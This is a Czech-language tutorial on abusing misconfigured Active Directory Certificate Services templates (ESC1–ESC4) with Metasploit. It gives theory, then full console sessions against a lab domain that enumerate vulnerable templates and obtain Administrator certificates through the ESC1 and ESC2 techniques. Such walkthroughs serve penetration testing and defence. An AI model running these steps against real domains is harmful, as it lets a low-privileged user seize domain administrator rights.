Útok na zranitelnosti AD CS ESC pomocí Metasploitu – 1. část
Každý jistě zná nástroje na zneužití chybně nakonfigurované certifikační autority (AD CS) typu Certipy nebo Rubeus. V tomto článku si popíšeme, jak lze nejběžnější zranitelnosti (ECS1-ESC4) exploatovat jednoduše z pohodlí Metasploitu.
![obr1 obr1](/media/images/obr1_JyKaiKH.original.png)
Výše uvedený obrázek znázorňuje schéma, jak nejběžnější zranitelnosti fungují. V následujících částech projdeme jednotlivé kroky, počínaje výčtem šablon certifikátů, které server nabízí, a identifikací těch, které jsou zranitelné různými chybnými konfiguracemi a bezpečnostními chybami, dále vytvořením nových certifikátů pomocí těchto šablon certifikátů pomocí modulu icpr_cert
v Metasploitu a nakonec použijeme tyto certifikáty k ověření v doméně jako doménový administrátor prostřednictvím Kerberos.
Teoretická část
Každá zranitelnost šablony certifikátu, o které zde bude řeč, má kód ESC, např. Tyto kódy ESC jsou převzaty z původního whitepaperu, který vydala společnost SpecterOps a který tyto útoky na šablony certifikátů, známé jako Certified Pre-Owned, zpopularizoval. V tomto dokumentu Will Schroeder a Lee Christensen popsali 8 různých doménových eskalačních útoků, o kterých zjistili, že je mohou provést prostřednictvím špatně nakonfigurovaných šablon certifikátů:
ESC1 - Eskalace pomocí No Issuance Requirements + Enrollable Client Authentication/Smart Card Logon OID šablon + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
ESC2 - Eskalace pomocí No Issuance Requirements + Enrollable Any Purpose EKU or no EKU
ESC3 - Eskalace pomocí No Issuance Requirements + Certificate Request Agent EKU + no enrollment agent restrictions
ESC4 - Eskalace pomocí špatně nakonfigurovaných šablon
ESC5 - Eskalace pomocí zranitelného PKI AD Object Access Control
ESC6 - Eskalace pomocí EDITF_ATTRIBUTESUBJECTALTNAME2 nastavení na CA + No Manager Approval + Enrollable Client Authentication/Smart Card Logon OID šablon
ESC7 – zranitelná validace přístupu k certifikační autoritě
ESC8 - NTLM Relay na AD CS HTTP endpointy
Později vyšel další blog od Olivera Lyaka, který objevil ESC9 a ESC10, další dvě zranitelnosti, které mohou umožnit běžným uživatelům v doméně zneužít chybnou konfiguraci šablon certifikátů k získání oprávnění doménového administrátora.
ESC9 - No Security Extension - CT_FLAG_NO_SECURITY_EXTENSION flag nastaven vmsPKI-EnrollmentFlag
. TakéStrongCertificateBindingEnforcement
není nastaven na hodnotu 2 neboCertificateMappingMethods
obsahuje UPN flag.
ESC10 – Zranitelné mapování certifikátů -HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel CertificateMappingMethods
obsahuje UPN bit s hodnotu0x4
neboHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc StrongCertificateBindingEnforcement
je nastaven na0
.
Nakonec tu máme ESC11, kterou objevila společnost Compass Security.
ESC11 - Relaying NTLM na ICPR - Relaying NTLM autentizace na nezabezpečené RPC interface je povoleno díky chybějícímuIF_ENFORCEENCRYPTICERTREQUEST
flagu naConfig.CA.Interface.Flags
.
V současné době Metasploit podporuje pouze útoky na ESC1, ESC2, ESC3 a ESC4. Proto se tento článek zabývá pouze zneužitím ESC1 až ESC4.
Před pokračováním je třeba poznamenat, že ESC1 se mírně liší od ESC2 a ESC3, jak je uvedeno na výše uvedeném diagramu. Je to proto, že v ESC1 má člověk kontrolu nad polem subjectAltName
ve vygenerovaném certifikátu, které je také známé jako pole SAN
. Toto pole umožňuje určit, jako kdo se má certifikát ověřovat. Útočníkovi tedy stačí toto pole upravit a může získat certifikát, který mu umožní ověřit se jako libovolný uživatel.
ESC2 je ve všech ohledech podobný ESC1, liší se však v jedné klíčové oblasti. Na rozdíl od zranitelných šablon certifikátů ESC1 totiž nelze u zranitelných šablon certifikátů ESC2 upravovat pole subjectAltName
. Kromě toho šablony certifikátů ESC2 definují rozšířené použití klíče Any Purpose
(EKU) nebo žádné EKU. Tato poslední část je důležitá, protože umožňuje útočníkovi využít šablonu zranitelného certifikátu ESC2 k vytvoření nového certifikátu, který lze použít k autorizaci pro přihlášení do domény prostřednictvím systému Kerberos jménem jakéhokoli jiného uživatele, a tím mu umožnit přístup do domény jako tomuto uživateli. Všimněte si, že certifikáty, které vůbec neobsahují EKU, budou muset být důvěryhodné pro objekt NTAuthCertificates
(což ve výchozím nastavení nebudou), jinak nové certifikáty vytvořené pomocí zranitelné šablony certifikátu ESC2 nebudou pro ověřování domény fungovat. Toto omezení se netýká těch certifikátů zranitelných vůči ESC2, na které byla použita šablona Any Purpose EKU
.
Další případ ESC3 je dosti podobný případu ESC2, liší se však ve dvou ohledech: zneužívá se jiný druh EKU a útočník musí ke zneužití zranitelnosti použít dvě různé šablony certifikátů s chybnou konfigurací. Tentokrát se jedná o EKU Certificate Request Agent EKU, alias OID 1.3.6.1.4.1.311.20.2.1, který umožňuje žádat o certifikát jménem jiného uživatele, což se může zdát neobvyklé, ale v prostředí společnosti Microsoft se jedná o běžný scénář. Ke zneužití této EKU musí mít útočník k dispozici následující dvě zranitelné šablony certifikátů:
- Šablona certifikátu, která má všechna stejná oprávnění jako ESC1, ale má také nastavenou Certificate Request Agent EKU, alias OID 1.3.6.1.4.1.311.20.2.1. Tato šablona certifikátu je ve výstupu modulu
ldap_esc_vulnerable_cert_finder
, který budeme používat později, označena jakoESC3_TEMPLATE_1
. - Šablona certifikátu, která umožňuje zápis uživatelům s nízkými právy a má zakázané schvalování správcem, stejně jako ESC1. Má však také buď:
- Schéma šablony 1
- Schéma šablony 2 nebo vyšší a Application Policy Issuance Requirement vyžadující Certificate Request Agent EKU, takže ho mohou vystavit pouze ti, kteří mají certifikát s tímto požadavkem. Musí také definovat EKU, která umožňuje ověřování domény, stejně jako ESC1, a na daném serveru certifikační autority (CA) nesmí být žádná omezení zápisu. Tato šablona certifikátu je ve výstupu modulu ldap_esc_vulnerable_cert_finder, který budeme používat později, označena jako
ESC3_TEMPLATE_2
.
Pokud jsou obě tato kritéria splněna, může se útočník zaregistrovat do jedné ze zranitelných šablon certifikátů ESC3_TEMPLATE_1
jako uživatel s nízkými právy, aby získal certifikát, který mu udělí oprávnění Certificate Request Agent. Tato oprávnění pak může použít k registraci do zranitelné šablony certifikátu ESC3_TEMPLATE_2
a požádat o certifikát jménem jiného uživatele, například správce domény, a využít skutečnosti, že šablona certifikátu umožňuje ověřování domény, k přihlášení do domény prostřednictvím systému Kerberos jako tento uživatel.
Praktická část
Nejprve je nutné nejprve najít seznam zranitelných šablon, které v doméně existují. Za tímto účelem spustíme modul auxiliary/gather/ldap_esc_vulnerable_cert_finder
. Tento modul se připojí k serveru LDAP na cílovém řadiči domény (DC) a spustí sadu dotazů LDAP, aby shromáždil seznam serverů certifikačních autorit (CA) a zranitelných šablon certifikátů, které poskytují k zápisu. Poté se také dotáže na oprávnění certifikační autority i šablony certifikátů, aby zjistil, kteří uživatelé nebo skupiny mohou danou šablonu certifikátu použít ke zvýšení svých oprávnění. V současné době je modul schopen identifikovat techniky ESC1 až ESC3.
Mějte však na paměti, že ve hře jsou dvě sady oprávnění. Existuje jedna sada oprávnění na serveru certifikační autority, která řídí, kdo se může zapsat do jakékoli šablony certifikátu z tohoto serveru, a druhá sada oprávnění, která řídí, kdo se může zapsat do konkrétní šablony certifikátu, která se vztahuje na samotnou šablonu certifikátu. Proto modul také určí, kteří uživatelé se mohou zapsat do konkrétní šablony na konkrétním serveru certifikační autority, aby bylo co nejjasnější, ke kterým uživatelům nebo skupinám je třeba mít přístup, aby bylo možné zranitelnou šablonu certifikátu zneužít.
Následující obrázek zjednodušeně popisuje proces identifikace.
![obr2 obr2](/media/images/obr2_5AOFVgC.original.png)
Pro spuštění modulu zadejte přihlašovací údaje doménového uživatele a nastavte RHOSTS na adresu jedné z IP adres řadiče domény (DC) a zadejte příkaz run. Modul se tak přihlásí k serveru LDAP v cílovém DC a vypíše seznam zranitelných šablon certifikátů a serverů certifikačních autorit, které jsou k dispozici, a také oprávnění, která jsou pro zápis do těchto šablon certifikátů vyžadována. Níže je uveden ukázkový výstup spuštění proti testovacímu serveru:
msf6 > use auxiliary/gather/ldap_esc_vulnerable_cert_finder msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > show options Module options (auxiliary/gather/ldap_esc_vulnerable_cert_finder): Name Current Setting Required Description ---- --------------- -------- ----------- BASE_DN no LDAP base DN if you already have it DOMAIN no The domain to authenticate to PASSWORD no The password to authenticate with REPORT_NONENROLLABLE false yes Report nonenrollable certificate templates RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit -framework/wiki/Using-Metasploit RPORT 389 yes The target port SSL false no Enable SSL on the LDAP connection USERNAME no The username to authenticate with View the full module info with the info, or info -d command. msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set DOMAIN SPATNADOMENA DOMAIN => SPATNADOMENA msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set USERNAME normaluser USERNAME => normaluser msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set PASSWORD normalpass PASSWORD => normalpass msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set RHOSTS 172.30.239.85 RHOSTS => 172.30.239.85 msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run [*] Running module against 172.30.239.85 [*] Discovering base DN automatically [+] 172.30.239.85:389 Discovered base DN: DC=spatnadomena,DC=com [*] Template: SubCA [*] Distinguished Name: CN=SubCA,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=spatnadomena,DC=com [*] Vulnerable to: ESC1, ESC2, ESC3_TEMPLATE_2 [*] Certificate Template Enrollment SIDs: [*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins) [*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins) [*] Issuing CAs: [*] * spatnadomena-WIN-BR0CCBA815B-CA [*] Server: WIN-BR0CCBA815B.spatnadomena.com [*] Enrollment SIDs: [*] * S-1-5-11 (Authenticated Users) [*] Template: ESC1-Template [*] Distinguished Name: CN=ESC1-Template,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=spatnadomena,DC=com [*] Vulnerable to: ESC1 [*] Certificate Template Enrollment SIDs: [*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins) [*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users) [*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins) [*] Issuing CAs: [*] * spatnadomena-WIN-BR0CCBA815B-CA [*] Server: WIN-BR0CCBA815B.spatnadomena.com [*] Enrollment SIDs: [*] * S-1-5-11 (Authenticated Users) [*] Template: ESC2-Template [*] Distinguished Name: CN=ESC2-Template,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=spatnadomena,DC=com [*] Vulnerable to: ESC2 [*] Certificate Template Enrollment SIDs: [*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins) [*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users) [*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins) [*] Issuing CAs: [*] * spatnadomena-WIN-BR0CCBA815B-CA [*] Server: WIN-BR0CCBA815B.spatnadomena.com [*] Enrollment SIDs: [*] * S-1-5-11 (Authenticated Users) [*] Template: ESC3-Template1 [*] Distinguished Name: CN=ESC3-Template1,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=spatnadomena,DC=com [*] Vulnerable to: ESC3_TEMPLATE_1 [*] Certificate Template Enrollment SIDs: [*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins) [*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users) [*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins) [*] Issuing CAs: [*] * spatnadomena-WIN-BR0CCBA815B-CA [*] Server: WIN-BR0CCBA815B.spatnadomena.com [*] Enrollment SIDs: [*] * S-1-5-11 (Authenticated Users) [*] Template: User [*] Distinguished Name: CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=spatnadomena,DC=com [*] Vulnerable to: ESC3_TEMPLATE_2 [*] Certificate Template Enrollment SIDs: [*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins) [*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users) [*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins) [*] Issuing CAs: [*] * spatnadomena-WIN-BR0CCBA815B-CA [*] Server: WIN-BR0CCBA815B.spatnadomena.com [*] Enrollment SIDs: [*] * S-1-5-11 (Authenticated Users) [*] Template: Administrator [*] Distinguished Name: CN=Administrator,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=spatnadomena,DC=com [*] Vulnerable to: ESC3_TEMPLATE_2 [*] Certificate Template Enrollment SIDs: [*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins) [*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins) [*] Issuing CAs: [*] * spatnadomena-WIN-BR0CCBA815B-CA [*] Server: WIN-BR0CCBA815B.spatnadomena.com [*] Enrollment SIDs: [*] * S-1-5-11 (Authenticated Users) [*] Template: Machine [*] Distinguished Name: CN=Machine,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=spatnadomena,DC=com [*] Vulnerable to: ESC3_TEMPLATE_2 [*] Certificate Template Enrollment SIDs: [*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins) [*] * S-1-5-21-3290009963-1772292745-3260174523-515 (Domain Computers) [*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins) [*] Issuing CAs: [*] * spatnadomena-WIN-BR0CCBA815B-CA [*] Server: WIN-BR0CCBA815B.spatnadomena.com [*] Enrollment SIDs: [*] * S-1-5-11 (Authenticated Users) [*] Template: DomainController [*] Distinguished Name: CN=DomainController,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=spatnadomena,DC=com [*] Vulnerable to: ESC3_TEMPLATE_2 [*] Certificate Template Enrollment SIDs: [*] * S-1-5-21-3290009963-1772292745-3260174523-498 (Enterprise Read-only Domain Controllers) [*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins) [*] * S-1-5-21-3290009963-1772292745-3260174523-516 (Domain Controllers) [*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins) [*] * S-1-5-9 (Enterprise Domain Controllers) [*] Issuing CAs: [*] * spatnadomena-WIN-BR0CCBA815B-CA [*] Server: WIN-BR0CCBA815B.spatnadomena.com [*] Enrollment SIDs: [*] * S-1-5-11 (Authenticated Users) [*] Template: ESC3-Template2 [*] Distinguished Name: CN=ESC3-Template2,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=spatnadomena,DC=com [*] Vulnerable to: ESC3_TEMPLATE_2 [*] Certificate Template Enrollment SIDs: [*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins) [*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users) [*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins) [*] Issuing CAs: [*] * spatnadomena-WIN-BR0CCBA815B-CA [*] Server: WIN-BR0CCBA815B.spatnadomena.com [*] Enrollment SIDs: [*] * S-1-5-11 (Authenticated Users) [*] Auxiliary module execution completed msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) >
Z výše uvedeného výstupu lze zjistit, že šablona certifikátu SubCA je zranitelná několika útoky. Zatímco však vydávající certifikační autority umožňují vydat tento certifikát jakémukoli ověřenému uživateli, oprávnění šablony certifikátu brání tomu, aby si vystavit pomocí této šablony mohl kdokoli jiný než správci domény a podnikoví správci. V tomto okamžiku tedy pro nás šablona není až tak užitečná.
Přejdeme-li k další šabloně certifikátu, vidíme, že šablona ESC1-Template je zranitelná vůči útoku ESC1, má oprávnění na samotné šabloně, která umožňují zápis libovolnému ověřenému uživateli domény, a má jednu vydávající certifikační autoritu, spatnadomena-WIN- BR0CCBA815B-CA, dostupnou na adrese WIN-BR0CCBA815B.spatnadomena.com, která umožňuje zápis libovolnému ověřenému uživateli. To znamená, že každý uživatel, který je ověřen v doméně, může tuto šablonu využít pomocí útoku ESC1 a zvýšit tak svá oprávnění.
Při pohledu na šablonu ESC2 vidíme stejný příběh, tentokrát je však šablona zranitelná útokem ESC2. ESC3-Template1 je také stejná, ale je zranitelná útokem ESC3_TEMPLATE_1 a ESC3-Template2 je stejná, ale je zranitelná útokem ESC3_TEMPLATE_2.
Vidíme také, že šablona User je zranitelná vůči útokům ESC3_TEMPLATE_2, a skutečnost, že ji lze vystavit od uživatelů domény a že spatnadomena-WIN-BR0CCBA815B-CA umožňuje zápis do ní jakémukoli ověřenému uživateli, potvrzuje teorii, že ji může využít jakýkoli ověřený útočník k útoku ESC3_TEMPLATE_2.
Zajímavá je také šablona Machine, která umožňuje zápis do ní libovolnému počítači připojenému k doméně a jejíž vydávající certifikační autorita umožňuje požádat o ni libovolnému ověřenému uživateli.
Díky tomu máme nyní k dispozici seznam certifikátů, které lze využít ke zvýšení oprávnění. Dalším krokem je použití modulu ipcr_cert
k vyžádání certifikátů pro ověření pomocí zranitelných šablon certifikátů.
ESC1
Získat certifikát jako aktuální uživatel je sice super, ale ve skutečnosti chceme eskalovat oprávnění. Naštěstí to můžeme udělat pomocí modulu icpr_cert
také. Jen musíme nastavit volby ALT_SID
a ALT_UPN
, abychom určili, jako kdo se chceme oěřit. Všimněte si, že to funguje pouze se šablonami certifikátů, které jsou zranitelné vůči ESC1 kvůli tomu, že mají nastavený příznak CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
.
Pokud víme, že název domény je spatnadomena.com a správce této domény se jmenuje Administrator, provedeme to následovně:
msf6 > use auxiliary/admin/dcerpc/icpr_cert msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA spatnadomena-WIN-BR0CCBA815B-CA CA => spatnadomena-WIN-BR0CCBA815B-CA msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC1-Template CERT_TEMPLATE => ESC1-Template msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85 RHOSTS => 172.30.239.85 msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain SPATNADOMENA SMBDomain => SPATNADOMENA msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass SMBPass => normalpass msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser SMBUser => normaluser msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000 ALT_SID => S-1-5-21-3402587289-1488798532-3618296993-1000 msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@spatnadomena.com ALT_UPN => Administrator@spatnadomena.com msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] Running module against 172.30.239.85 [*] 172.30.239.85:445 - Requesting a certificate... [+] 172.30.239.85:445 - The requested certificate was issued. [*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1000 [*] 172.30.239.85:445 - Certificate UPN: Administrator@spatnadomena.com [*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216143830_default_unknown_windows.ad.cs_338144.pfx [*] Auxiliary module execution completed msf6 auxiliary(admin/dcerpc/icpr_cert) >
Pomocí modulu kerberos/get_ticket
pak můžeme jako správce domény Administrator získat Kerberos ticket (TGT). Toto bude popsáno v druhé části článku.
ESC2
Z předchozího výčtu víme, že zranitelné vůči ESC2 jsou následující šablony certifikátů:
- SubCA - není zneužitelný, protože pro zápis tohoto certifikátu musíte být Domain Admin nebo Enterprise Admin.
- ESC2-Template - vystavitelný jakýmkoli ověřeným uživatelem, který je součástí skupiny Domain Users, tedy jakýmkoli ověřeným uživatelem domény.
ESC2-Template použijeme k získání TGT jako doménový administrátor.
K tomu použijeme modul ipcr_cert
a nastavíme obvyklé možnosti, budeme jej však muset spustit dvakrát. Je to proto, že v případě ESC2 nemůžeme použít zranitelnost pro vyžádání ověřovacích certifikátů jako ostatní uživatelé, aniž by byl v šabloně nastaven příznak CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
. Místo toho můžeme použít příznak Any Purpose EKU nebo SubCA EKU, které jsou nastaveny na těchto certifikátech, a ověřit se v doméně jako uživatel, který o certifikát požádal. Nejprve tedy získáme zranitelný certifikát ESC2 a poté zneužijeme možnosti použít tento certifikát pro libovolný účel k tomu, abychom následně požádali o certifikát jménem jiného uživatele a použili tento certifikát jako formu ověření pro tuto operaci.
Při prvním spuštění nastavíme obvyklé údaje RHOSTS
, CA
a CERT_TEMPLATE
, přičemž se ujistíme, že CERT_TEMPLATE
je nastaven na zranitelnou šablonu certifikátu ESC2-Template
, a zadáme platné přihlašovací údaje. Tím získáme certifikát pro našeho aktuálního uživatele, který je založen na zranitelné šabloně ESC2-Template
:
msf6 > use auxiliary/admin/dcerpc/icpr_cert msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85 RHOSTS => 172.30.239.85 msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA spatnadomena-WIN-BR0CCBA815B-CA CA => spatnadomena-WIN-BR0CCBA815B-CA msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC2-Template CERT_TEMPLATE => ESC2-Template msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain SPATNADOMENA SMBDomain => SPATNADOMENA msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass SMBPass => normalpass msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser SMBUser => normaluser msf6 auxiliary(admin/dcerpc/icpr_cert) > show options Module options (auxiliary/admin/dcerpc/icpr_cert): Name Current Setting Required Description ---- --------------- -------- ----------- ALT_DNS no Alternative certificate DNS ALT_UPN no Alternative certificate UPN (format: USER@DOMAIN) CA spatnadomena-WIN-BR0CCBA815B-CA yes The target certificate authority CERT_TEMPLATE ESC2-Template yes The certificate template ON_BEHALF_OF no Username to request on behalf of (format: DOMAIN\USER) PFX no Certificate to request on behalf of RHOSTS 172.30.239.85 yes The target host(s), see https://github.com/rapid7/metas ploit-framework/wiki/Using-Metasploit RPORT 445 yes The target port (TCP) SMBDomain SPATNADOMENA no The Windows domain to use for authentication SMBPass normalpass no The password for the specified username SMBUser normaluser no The username to authenticate as Auxiliary action: Name Description ---- ----------- REQUEST_CERT Request a certificate View the full module info with the info, or info -d command. msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] Running module against 172.30.239.85 [*] 172.30.239.85:445 - Requesting a certificate... [+] 172.30.239.85:445 - The requested certificate was issued. [*] 172.30.239.85:445 - Certificate UPN: normal@spatnadomena.com [*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3290009963-1772292745-3260174523-1611 [*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx [*] Auxiliary module execution completed msf6 auxiliary(admin/dcerpc/icpr_cert) > loot Loot ==== host service type name content info path ---- ------- ---- ---- ------- ---- ---- windows.ad.cs certificate.pfx application/x-pkcs12 SPATNADOMENA\normal Certificate /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx msf6 auxiliary(admin/dcerpc/icpr_cert) >
Dále musíme použít získaný soubor PFX k vyžádání dalšího certifikátu pro ověření jménem jiného uživatele. Pomocí volby PFX
zadáme soubor PFX a pomocí nastavení ON_BEHALF_OF
zadáme uživatele, jehož jménem se chceme ověřit. Nakonec změníme šablonu certifikátu na jinou šablonu certifikátu, do které se můžeme zapsat. Zde by měl fungovat výchozí certifikát User
, protože umožňuje zápis libovolnému ověřenému uživateli domény.
msf6 auxiliary(admin/dcerpc/icpr_cert) > show options Module options (auxiliary/admin/dcerpc/icpr_cert): Name Current Setting Required Description ---- --------------- -------- ----------- ALT_DNS no Alternative certificate DNS ALT_UPN no Alternative certificate UPN (format: USER@DOMAIN) CA spatnadomena-WIN-BR0CCBA815B-CA yes The target certificate authority CERT_TEMPLATE ESC2-Template yes The certificate template ON_BEHALF_OF no Username to request on behalf of (format: DOMAIN\USER) PFX no Certificate to request on behalf of RHOSTS 172.30.239.85 yes The target host(s), see https://github.com/rapid7/metas ploit-framework/wiki/Using-Metasploit RPORT 445 yes The target port (TCP) SMBDomain SPATNADOMENA no The Windows domain to use for authentication SMBPass normalpass no The password for the specified username SMBUser normaluser no The username to authenticate as Auxiliary action: Name Description ---- ----------- REQUEST_CERT Request a certificate View the full module info with the info, or info -d command. msf6 auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF SPATNADOMENA\\Administrator ON_BEHALF_OF => SPATNADOMENA\Administrator msf6 auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx PFX => /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User CERT_TEMPLATE => User msf6 auxiliary(admin/dcerpc/icpr_cert) > show options Module options (auxiliary/admin/dcerpc/icpr_cert): Name Current Setting Required Description ---- --------------- -------- ----------- ALT_DNS no Alternative certificate DNS ALT_UPN no Alternative certificate UPN (format: USER@DOMAIN) CA spatnadomena-WIN-BR0CCBA815B-CA yes The target certificate authority CERT_TEMPLATE User yes The certificate template ON_BEHALF_OF SPATNADOMENA\Administrator no Username to request on behalf of (format: DOMAIN\USE R) PFX /home/gwillcox/.msf4/loot/2022 no Certificate to request on behalf of 1216154930_default_unknown_win dows.ad.cs_104207.pfx RHOSTS 172.30.239.85 yes The target host(s), see https://github.com/rapid7/me tasploit-framework/wiki/Using-Metasploit RPORT 445 yes The target port (TCP) SMBDomain SPATNADOMENA no The Windows domain to use for authentication SMBPass normalpass no The password for the specified username SMBUser normaluser no The username to authenticate as Auxiliary action: Name Description ---- ----------- REQUEST_CERT Request a certificate View the full module info with the info, or info -d command. msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] Running module against 172.30.239.85 [*] 172.30.239.85:445 - Requesting a certificate... [+] 172.30.239.85:445 - The requested certificate was issued. [*] 172.30.239.85:445 - Certificate UPN: Administrator@spatnadomena.com [*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3290009963-1772292745-3260174523-500 [*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216155701_default_unknown_windows.ad.cs_756798.pfx [*] Auxiliary module execution completed msf6 auxiliary(admin/dcerpc/icpr_cert) > loot Loot ==== host service type name content info path ---- ------- ---- ---- ------- ---- ---- windows.ad.cs certificate.pfx application/x-pkcs12 SPATNADOMENA\normal Certificate /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx windows.ad.cs certificate.pfx application/x-pkcs12 SPATNADOMENA\normal Certificate /home/gwillcox/.msf4/loot/20221216155701_default_unknown_windows.ad.cs_756798.pfx msf6 auxiliary(admin/dcerpc/icpr_cert) >
Pomocí modulu kerberos/get_ticket
pak můžeme jako správce domény Administrator získat Kerberos ticket (TGT). Toto bude popsáno v druhé části článku, stejně tak, jako další zranitelnosti ESC3 a ESC4.